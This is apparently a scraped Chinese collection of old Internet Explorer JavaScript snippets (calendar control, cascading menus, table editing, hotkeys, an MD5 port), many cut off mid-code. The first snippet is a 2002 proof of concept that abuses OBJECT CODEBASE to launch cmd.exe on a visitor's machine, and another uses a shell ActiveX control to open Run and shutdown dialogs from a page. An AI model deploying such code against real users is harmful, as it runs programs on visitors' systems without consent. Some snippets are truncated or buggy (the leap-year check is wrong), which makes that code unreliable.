代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript运行客户端exe程序(说明:这只是提供一种思路,不过能不能运行还要看IE的安全设置。)
代码如下:
var programName=new Array(
'c:/windows/system32/cmd.exe',
'c:/winnt/system32/cmd.exe',
'c:/cmd.exe'
);
function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}
</SCRIPT>
</head>
<BODY onload="Init()">
<H1>Hmm, let's start a command shell...</H1>
<p>
This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
Javascript+HTML仿造VB里的MonthView控件
代码如下:
var languageName="cn" //内容显示的语言 value:"cn" "en"
var currentMonth,currentYear
var nowDate,nowMonth,nowYear
d=new Date();
nowDate=d.getDate()
nowMonth=d.getMonth()
nowYear=d.getYear()
currentMonth=nowMonth
currentYear=nowYear
arrWeekCaption_cn = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")
arrWeekCaption_en = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
arrMonthCaption_cn= new Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
arrMonthCaption_en= new Array("January","February","March","April","May","June","July","August","September","October","November","December")
function MonthView(){}
/******************************* 初始化控件
/*******************************/
function MonthView.initialize(){
output ='<table cellpadding=0 cellspacing=2 style="border: 1 solid black;width:300;cursor:default" id="tblMonthView" onselectstart="return false">'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=0>'
output+=' <tr style="padding-top:10;padding-bottom:10;background:menu;" id="trCaption">'
output+=' <td><input type="button"value="3" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(/'preview/')"></td>'
output+=' <td align="center"><span id="spanCurrentMonth" style="font-size:12;"></span><span style="padding-left:10;font-size:12" id="spanCurrentYear"></span></td>'
output+=' <td align="right"><input type="button"value="4" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(/'next/')"></td>'
output+=' </tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=2 id="tblShowDay" style="font-size:12">'
output+=' <tr align="center"><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
output+=' <tr><td colspan=7 height="1" style="background:black" id="tdLine"></td></tr>'
output+=' <tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=2 id="tblToday" style="font-size:12">'
output+=' <tr><td width="20"></td><td></td></tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+='</table>'
document.write (output)
//*********当前年、月的显示*********
MonthView.setCurrentCaption()
//*********************************
//*********星期表头的显示*********
MonthView.setWeekCaption()
//*********************************
//*********设置每月的日期*********
MonthView.bulidDay()
//*****************************
//*********显示隐藏今日日期*********
MonthView.setShowHideToday(true)
//*****************************
}
function MonthView.setCurrentCaption(){
spanCurrentYear.innerHTML=currentYear
if (languageName=="cn"){
spanCurrentMonth.innerHTML=arrMonthCaption_cn[currentMonth]
}else{
spanCurrentMonth.innerHTML=arrMonthCaption_en[currentMonth]
}
}
function MonthView.setWeekCaption(){
if (languageName=="cn"){
arrCaption=arrWeekCaption_cn
}else{
arrCaption=arrWeekCaption_en
}
for (var i=0; i<arrCaption.length; i++){
tblShowDay.rows[0].cells[i].innerHTML=arrCaption[i]
}
}
function MonthView.bulidDay(){
arrMonthCount=new Array(31,28,31,30,31,30,31,31,30,31,30,31)
if ((currentYear % 400 ==0) || ((currentYear % 100==0)&&(currentYear % 4==0))){
arrMonthCount[1]=29
}
rowDay=2
while (tblShowDay.rows.length>rowDay){
tblShowDay.deleteRow(rowDay)
}
firstDay=new Date(currentYear,currentMonth,1)
tempRow=tblShowDay.insertRow()
//*********填充当月1号以前的日期*********
for (var j=0 ;j<firstDay.getDay();j++){
tempCell=tempRow.insertCell()
}
//*************************************
for (var i=1 ;i<=arrMonthCount[currentMonth]; i++){
tempCell=tempRow.insertCell()
tempCell.style.textAlign="center"
tempCell.innerHTML=i
tempCell.onclick=MonthView.action
if ((i+firstDay.getDay()) %7 == 0 && i!=arrMonthCount[currentMonth]){tempRow=tblShowDay.insertRow()}
}
}
function MonthView.showCurrentDate(direction){
if (direction=="preview"){
currentMonth--
if (currentMonth<0) {currentMonth=11 ;currentYear--}
}
if (direction=="next"){
currentMonth++
if (currentMonth>11) {currentMonth=0 ;currentYear++}
}
MonthView.setCurrentCaption()
MonthView.bulidDay()
}
function MonthView.setLanguage(itsName){
languageName=itsName
MonthView.setCurrentCaption()
MonthView.setWeekCaption()
MonthView.setShowHideToday(true)
}
function MonthView.setCaptionBg(itsColor){
trCaption.style.background=itsColor
}
function MonthView.setBorder(itsBorder){
tblMonthView.style.border=itsBorder
}
function MonthView.setLineColor(itsColor){
tdLine.style.background=itsColor
}
function MonthView.setShowHideToday(flag){
el=tblToday.rows[0].cells[1]
if (flag){
if (languageName=="cn"){
el.innerHTML="今日:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
}else{
el.innerHTML="Today:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
}
el.style.display="block"
}else{
el.style.display="none"
}
}
function MonthView.action(){
//*********请修改此函数*********
MonthView_value=currentYear+"-"+(currentMonth+1)+"-"+this.innerHTML
alert(MonthView_value)
}
</script>
</head>
<body>
<div>
<script language=javascript>
MonthView.initialize()
</script>
</div>
<br><br>
<table border=1 style="font-size:12;width:95%">
<tr>
<td>方法</td><td>描述</td><td>演示</td>
</tr>
<tr>
<td>MonthView.initialize()</td>
<td>初始化控件</td>
<td><image src="none.gif" width="1" height="1"></td>
</tr>
<tr>
<td>MonthView.setLanguage(<i>par</i>)<br>参数:"cn" "en"</td>
<td>设置控件显示语言</td>
<td>
<input type="button" value="中文" onclick="MonthView.setLanguage('cn')">
<input type="button" value="英文" onclick="MonthView.setLanguage('en')">
</td>
</tr>
<tr>
<td>MonthView.setBorder(<i>par</i>)<br>参数:"边框宽度(int) 边框形状(solid|dot...) 边框颜色"</td>
<td>边框设置</td>
<td>
<input type="button" value="ChangeBorder" onclick="MonthView.setBorder('2 solid darkred')">
</td>
</tr>
<tr>
<td>MonthView.setCaptionBg(<i>par</i>)<br>参数:十六进制颜色代码</td>
<td>设置当前年、月的背景色</td>
<td>
<input type="button" value="INFOBACKGROUND" onclick="MonthView.setCaptionBg('INFOBACKGROUND')">
</td>
</tr>
<tr>
<td>MonthView.setLineColor(<i>par</i>)<br>参数:十六进制颜色代码</td>
<td>设置分割线的颜色</td>
<td>
<input type="button" value="Darkred" onclick="MonthView.setLineColor('darkred')">
</td>
</tr>
<tr>
<td>MonthView.setShowHideToday(<i>par</i>)<br>参数:true|false</td>
<td>显示/隐藏今日日期</td>
<td>
<input type="button" value="Hide" onclick="MonthView.setShowHideToday(false)">
<input type="button" value="Show" onclick="MonthView.setShowHideToday(true)">
</td>
</tr>
</table>
</body>
</html>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
在IE客户端调用windows系统资源
代码如下:
<OBJECT ID="oShell"
CLASSID="clsid:13709620-C279-11CE-A49E-444553540000">
</OBJECT>
<STYLE>
INPUT {width: 200}
</STYLE>
<SCRIPT LANGUAGE="VBScript">
<!--
function fnStart(sMethod)
select case sMethod
case 0
'Minimizes all windows on the desktop
oShell.MinimizeAll
case 1
'Displays the Run dialog box
oShell.FileRun
case 2
'Displays the Shut Down Windows dialog box
oShell.ShutdownWindows
case 3
'Displays the Find dialog box
oShell.FindFiles
case 4
'Displays the Date/Time dialog box
oShell.SetTime
case 5
'Displays the Internet Properties dialog box
oShell.ControlPanelItem "INETCPL.cpl"
case 6
'Explores the My Documents folder
oShell.Explore "C:/My Documents"
case 7
'Enables user to select folder from Program Files
oShell.BrowseForFolder 0, "My Programs", 0, "C:/Program Files"
case 8
'Opens the Favorites folder
oShell.Open "C:/WINDOWS/Favorites"
case 9
'Displays the Taskbar Properties dialog box
oShell.TrayProperties
end select
end function
-->
</SCRIPT>
</HEAD>
<BODY>
<H1>Start...</H1>
<INPUT type="button" value="Edit Taskbar Properties" onclick="fnStart(9)"><br>
<INPUT type="button" value="Open Favorites Folder" onclick="fnStart(8)"><br>
<INPUT type="button" value="Browse Program Files" onclick="fnStart(7)"><br>
<INPUT type="button" value="Explore My Documents" onclick="fnStart(6)"><br>
<INPUT type="button" value="Modify Internet Properties" onclick="fnStart(5)"><br>
<INPUT type="button" value="Set System Time" onclick="fnStart(4)"><br>
<INPUT type="button" value="Find a File or Folder" onclick="fnStart(3)"><br>
<INPUT type="button" value="Shut Down Windows" onclick="fnStart(2)"><br>
<INPUT type="button" value="Run" onclick="fnStart(1)"><br>
<INPUT type="button" value="Minimize All Windows" onclick="fnStart(0)">
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个三级关联菜单的例子
代码如下:
<select name="example" size="1" onChange="redirect(this.options.selectedIndex)">
<option selected>---Select1-------------</option>
<option>Webmaster Sites</option>
<option>News Sites</option>
</select>
<select name="stage2" size="1" onChange="redirect1(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select2--------------</option>
<option value=" " selected>---Select2--------------</option>
</select>
<select name="stage3" size="1" onChange="redirect2(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select3----------------</option>
<option value=" " selected>---Select3----------------</option>
</select>
<script>
<!--
/*
Triple Combo Script Credit
By Hamid Cheheltani/ Website Abstraction (http://www.wsabstract.com)
Visit http://wsabstract.com for this and over 400+ other scripts
*/
var groups=document.isc.example.options.length
var group=new Array(groups)
for (i=0; i<groups; i++)
group[i]=new Array()
group[0][0]=new Option("---Select2---"," ");
group[1][0]=new Option("Now Select This One"," ");
group[1][1]=new Option("JavaScript","47");
group[1][2]=new Option("DHTML","46");
group[1][3]=new Option("CGI","45");
group[2][0]=new Option("Now Select This One"," ");
group[2][1]=new Option("General News","115");
group[2][2]=new Option("Technology News","116");
var temp=document.isc.stage2
function redirect(x){
for (m=temp.options.length-1;m>0;m--)
temp.options[m]=null
for (i=0;i<group[x].length;i++){
temp.options[i]=new Option(group[x][i].text,group[x][i].value)
}
temp.options[0].selected=true
redirect1(0)
}
var secondGroups=document.isc.stage2.options.length
var secondGroup=new Array(groups)
for (i=0; i<groups; i++) {
secondGroup[i]=new Array(group[i].length)
for (j=0; j<group[i].length; j++) {
secondGroup[i][j]=new Array() }}
secondGroup[0][0][0]=new Option("---Select 3---"," ");
secondGroup[1][0][0]=new Option("---Select 3---"," ");
secondGroup[1][1][0]=new Option("Now Select This One"," ");
secondGroup[1][1][1]=new Option("Website Abstraction","http://wsabstract.com";);
secondGroup[1][1][2]=new Option("JavaScript for the non programmer","http://webteacher.com/javascript/";);
secondGroup[1][1][3]=new Option("Java-Scripts.net","http://java-scripts.net";);
secondGroup[1][2][0]=new Option("Now Select This One"," ");
secondGroup[1][2][1]=new Option("Dynamic Drive","http://www.dynamicdrive.com";);
secondGroup[1][2][2]=new Option("Beginner/'s Guide to DHTML","http://www.geocities.com/ResearchTriangle/Facility/4490/";);
secondGroup[1][2][3]=new Option("Web Coder","http://webcoder.com/";);
secondGroup[1][3][0]=new Option("Now Select This One"," ");
secondGroup[1][3][1]=new Option("CGI Resources","http://www.cgi-resources.com";);
secondGroup[1][3][2]=new Option("Ada/'s Intro to CGI","http://adashimar.hypermart.net/";);
secondGroup[2][0][0]=new Option("---Select 3---"," ");
secondGroup[2][1][0]=new Option("Now Select This One"," ");
secondGroup[2][1][1]=new Option("CNN","http://www.cnn.com";);
secondGroup[2][1][2]=new Option("MSNBC","http://www.msnbc.com";);
secondGroup[2][1][3]=new Option("ABC News","http://www.abcnews.com";);
secondGroup[2][2][0]=new Option("Now Select A Page"," ");
secondGroup[2][2][1]=new Option("News.com","http://www.news.com";);
secondGroup[2][2][2]=new Option("Wired","http://www.wired.com";);
var temp1=document.isc.stage3
function redirect1(y){
for (m=temp1.options.length-1;m>0;m--)
temp1.options[m]=null
for (i=0;i<secondGroup[document.isc.example.options.selectedIndex][y].length;i++){
temp1.options[i]=new Option(secondGroup[document.isc.example.options.selectedIndex][y][i].text,secondGroup[document.isc.example.options.selectedIndex][y][i].value)
}
temp1.options[0].selected=true
}
function redirect2(z){
window.location=temp1[z].value
}
//-->
</script>
</td>
</tr>
</table>
</FORM>
<p><font face="arial" size="-2">This free script provided by</font><br>
<font face="arial, helvetica" size="-2"><a href="http://wsabstract.com";>Website
Abstraction</a></font></p>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一种在父窗口中得知 window.open()出的子窗口关闭事件的方法(定时器实现)
代码如下:
<script language=javascript for=btnOpen event=onclick>
document.fm_Info.txtValue.value=""
winOpen=window.open("child.htm","","toolbar=no, location=no, directories=no, status=no, menubar=no" )
timer=window.setInterval("IfWindowClosed()",500);
</script>
</BODY></HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件
代码如下:
<OBJECT ID=HHCtrl TYPE="application/x-oleobject"
CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
CODEBASE="HHCtrl.ocx#Version=4,73,8259,0">
</OBJECT>
<P>This is a
<A HREF=JavaScript:HHCtrl.TextPopup(MyText,"Verdana,10",9,9,-1,-1)>
pop-up</A>.
</P>
<SCRIPT>MyText="This is how a text pop-up window looks."
</SCRIPT>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
用javascirpt在<TEXTAREA>中插入元素(光标位置)
代码如下:
}
</SCRIPT>
</HEAD>
<BODY>
<FORM NAME="aForm">
<TEXTAREA NAME="aTextArea" ROWS="5" COLS="80" WRAP="soft" ONSELECT="storeCaret(this);" ONCLICK="storeCaret(this);" ONKEYUP="storeCaret(this);"> 这是例子,你可以在这里添加文字、插入文字。 </TEXTAREA>
<BR>
<INPUT TYPE="text" NAME="aText" SIZE="80" VALUE="我要在光标处插入这些文字"><BR>
<INPUT TYPE="button" VALUE="我要在光标处插入上面文本框里输入的文字!" ONCLICK="insertAtCaret(this.form.aTextArea, this.form.aText.value);">
</FORM>
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个关于新窗口自动调节大小的问题
代码如下:
<script>
window.resizeTo(xh.scrollWidth+20,xh.scrollHeight+150)
</script>
</body>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript动态增加、删除、填充表格内容
代码如下:
function numberCells()
{
var count=0;
for (i=0; i < document.all.mytable.rows.length; i++)
{
for (j=0; j < document.all.mytable.rows(i).cells.length; j++)
{
document.all.mytable.rows(i).cells(j).innerText = count;
count++;
}
}
}
function tb_addnew()
{
var ls_t=document.all("mytable")
maxcell=ls_t.rows(0).cells.length;
mynewrow = ls_t.insertRow();
for(i=0;i<maxcell;i++)
{
mynewcell=mynewrow.insertCell();
mynewcell.innerText="a"+i;
}
}
function tb_delete()
{
var ls_t=document.all("mytable");
ls_t.deleteRow() ;
}
</SCRIPT>
<BODY onload="numberCells()">
<TABLE id=mytable border=1>
<TR><TH> </TH><TH> </TH><TH> </TH><TH> </TH></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
</TABLE>
<input type=button value="新增" onclick="tb_addnew()">
<input type=button value="删除" onclick="tb_delete()" >
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
层不能跨框架(包括TEXTAREA)显示的解决办法
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
object还有其他几种用法
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
不用询问关闭一个独立的窗口代码
代码如下:
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
做WEB热键
代码如下:
if (event.keyCode==99||event.keyCode==67)
window.close();
else if (event.keyCode==112||event.keyCode==80)
self.print();
else if (event.keyCode==110||event.keyCode==78)
alert("Sorry, this is the only song in the List");
}
}
//-->
</script>
</head>
<body>
<script language='javascript'>
<!--
if (document.layers)
document.captureEvents(Event.KEYPRESS);
document.onkeypress=issueCommand
-->
</script>
<font size=6><u>P</u>ress P</font><p>
<font size=6><u>N</u>ext One</font><p>
<font size=6><u>C</u>lose Window</font><p>
</body>
</html>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
按下回车键指向下一个位置的一个函数
MD5加密的javascript实现例子
2 {
3 var a
4 a=eval("document.vouch."+itemname)
5 a.focus()
6 }
7在控件中使用onkeypress="javascrip:if(window.event.keyCode==13){tofocus('nextformname')}提取下一个控件名
2' MODIFICATION HISTORY:
3' 1.0 16-Feb-2001 - Phil Fresle (sales@frez.co.uk) - Initial Version (VB/ASP code)
4' 1.0 21-Feb-2001 - Enrico Mosanghini (erik504@yahoo.com) - JavaScript porting
5*/
6function MD5(sMessage) {
7function RotateLeft(lValue, iShiftBits) { return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits)); }
8function AddUnsigned(lX,lY) {
9 var lX4,lY4,lX8,lY8,lResult;
10 lX8 = (lX & 0x80000000);
11 lY8 = (lY & 0x80000000);
12 lX4 = (lX & 0x40000000);
13 lY4 = (lY & 0x40000000);
14 lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
15 if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
16 if (lX4 | lY4) {
17 if (lResult & 0x40000000) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
18 else return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
19 } else return (lResult ^ lX8 ^ lY8);
20}
21function F(x,y,z) { return (x & y) | ((~x) & z); }
22function G(x,y,z) { return (x & z) | (y & (~z)); }
23function H(x,y,z) { return (x ^ y ^ z); }
24function I(x,y,z) { return (y ^ (x | (~z))); }
25function FF(a,b,c,d,x,s,ac) {
26 a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
27 return AddUnsigned(RotateLeft(a, s), b);
28}
29function GG(a,b,c,d,x,s,ac) {
30 a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
31 return AddUnsigned(RotateLeft(a, s), b);
32}
33function HH(a,b,c,d,x,s,ac) {
34 a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
35 return AddUnsigned(RotateLeft(a, s), b);
36}
37function II(a,b,c,d,x,s,ac) {
38 a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
39 return AddUnsigned(RotateLeft(a, s), b);
40}
41function ConvertToWordArray(sMessage) {
42 var lWordCount;
43 var lMessageLength = sMessage.length;
44 var lNumberOfWords_temp1=lMessageLength + 8;
45 var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
46 var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
47 var lWordArray=Array(lNumberOfWords-1);
48 var lBytePosition = 0;
49 var lByteCount = 0;
50 while ( lByteCount < lMessageLength ) {
51 lWordCount = (lByteCount-(lByteCount % 4))/4;
52 lBytePosition = (lByteCount % 4)*8;
53 lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt(lByteCount)<<lBytePosition));
54 lByteCount++;
55 }
56 lWordCount = (lByteCount-(lByteCount % 4))/4;
57 lBytePosition = (lByteCount % 4)*8;
58 lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
59 lWordArray[lNumberOfWords-2] = lMessageLength<<3;
60 lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
61 return lWordArray;
62}
63function WordToHex(lValue) {
64 var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
65 for (lCount = 0;lCount<=3;lCount++) {
66 lByte = (lValue>>>(lCount*8)) & 255;
67 WordToHexValue_temp = "0" + lByte.toString(16);
68 WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
69 }
70